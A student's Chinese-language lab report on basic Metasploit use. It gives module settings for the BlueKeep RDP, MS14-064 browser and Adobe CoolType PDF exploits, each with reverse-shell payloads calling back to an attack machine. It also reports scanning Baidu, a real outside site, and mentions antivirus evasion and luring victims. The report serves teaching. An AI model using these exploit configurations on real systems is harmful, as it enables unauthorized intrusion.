2019-2020-2 20175326李一潇《网络对抗技术》 Exp6 MSF基础应用
一、实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路
- 主动攻击实践
- 针对浏览器的攻击
- 针对客户端的攻击
- 成功应用任何一个辅助模块
二、实验原理
- MSF攻击方法:
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击客服端
- MSF的六种模块
- 渗透攻击模块
Exploit Modules
- 辅助模块
Auxiliary Modules
- 攻击载荷
Payload Modules
- 空字段模块
Nop Modules
- 编码模块
Encoders
- 后渗透攻击模块
Post
- 渗透攻击模块
- MSF的三种用户操作界面
- msfconsole
- Armitage
- webgui
三、实验步骤
1.主动攻击实践:cve_2019_0708(唯一)
在本次实验中,大部分的同学采用的是ms漏洞,ms是代表微软的漏洞,如ms08-067 那么08是代表2008年微软出的漏洞,067是代表08年第67个漏洞;
而这里我采用的是cve漏洞,CVE是Common Vulnerabilities and Exposures的缩写,意思是通用漏洞。它是一个漏洞字典,有MITRE维护。
这里采用的是cve_2019_0708漏洞,2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该漏洞影响了某些旧版本的Windows系统,此漏洞是预身份验证且无需用户交互。
打开msfconsole
,使用cve_2019_0708
查询针对该漏洞可以运用的攻击模块,选择对应模块后再使用show payloads
查看攻击载荷
使用show targets
可以查看这个漏洞波及的系统版本
使用以下命令可以对靶机进行攻击
set payload generic/shell_reverse_tcp //tcp进行反向回连
set LHOST 192.168.44.128 //攻击机ip(kali)
set LPORT 5326 //设置攻击端口
set RHOST 192.168.1.26 //靶机ip(win 7),特定漏洞端口已经固定
set target 0 //自动选择目标系统类型,匹配度较高
exploit //进行攻击
发现侵入成功
在查询资料的时候,如果针对cve_2019_0708
漏洞使用POC进行攻击会使靶机出现蓝屏现象,这里没有尝试。
防御RDP远程桌面的方法
1.关闭对应端口
2.关闭远程桌面服务
3.开始防火墙,禁止端口通过防火墙
4.为系统打补丁
2.针对浏览器的攻击:ms14_064
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本...
metasploit里已经加入了此漏洞的利用模块 :exploit/windows/browser/ms14_064_ole_code_execution
在选择exploit/windows/browser/ms14_064_ole_code_execution
模块后,我们使用以下命令来进行操作
set payload generic/shell_reverse_tcp //tcp进行反向回连
set LHOST 192.168.44.128 //攻击机ip(kali)
set LPORT 5326 //设置攻击端口
set RHOST 192.168.1.26 //靶机ip(win 7),特定漏洞端口已经固定
set target 0 //自动选择目标系统类型,匹配度较高
exploit //进行攻击
这时我们会得到一个连接,在靶机上打开该连接,建立会话
此时,主机就完成了对靶机的入侵,可以在主机上进行操作。
3.针对客户端的攻击:Adobe
Adobe阅读器漏洞:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出。
在msfconsole
中使用windows/fileformat/adobe_cooltype_sing
,使用以下命令生成恶意构造的pdf文件
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set LHOST 192.168.44.128 //攻击机ip
set LPORT 5326 //攻击端口
set FILENAME 20175326.pdf //设置生成pdf文件的名字
exploit //攻击
生成的恶意pdf文件在/home/liyixiao/.msf4/local/20175326.pdf
下面,将该文件拷贝到靶机当中;
在靶机当中打开文件,并在主机当中输入exploit
来进行回连
4.成功应用任何一个辅助模块:trace
scanner/http/trace
模块可以帮助我们检查主机是否易受跨站点跟踪的攻击
这里我们在选择scanner/http/trace
模块后,对百度进行测试
我们可以发现百度特别容易遭受到受到跨站点跟踪的攻击。
四、实验心得
本次实验是网络攻防的第六次实验,我们学习如何通过msf工作台,通过漏洞对计算机进行侵入;其实如果实验环境配置清楚,实验的过程不算麻烦,基本上的过程都大致相同,可是我把电脑丢学校了,只能依靠家里面的老电脑来进行操作,要找到合适自己版本的漏洞,再利用漏洞进行侵入,还要解决遇到的各种困难,具体的实验步骤比博客要困难许多。也是因为硬件条件的不足,强迫自己上网查询资料,找到适合自己的实验方法,这也是对自己的锻炼,一次不错的体验。
五、思考题
- 用自己的话解释什么是exploit,payload,encode
- exploit:渗透攻击模块,相当于一个开关,在完成所有的配置后,我们需要通过exploit来进行攻击;
- payload:攻击载荷模块,我们需要用payload来完成配置,负责执行相应的攻击代码。
- encode:编码器模块,通过编码,使文件通过免杀。
- 离实战还缺些什么技术或步骤
实验主要还是需要通过特定的实验环境,特定的版本和操作系统,如果进行更换就很难进行下去,其次我们实验都是通过已知的漏洞来进行的,这种一般杀软都会打补丁,很难真的去进行操作。还有我们针对浏览器和客服端的攻击,我们还需要考虑如何诱导别人打开我们设置好的网站或者软件。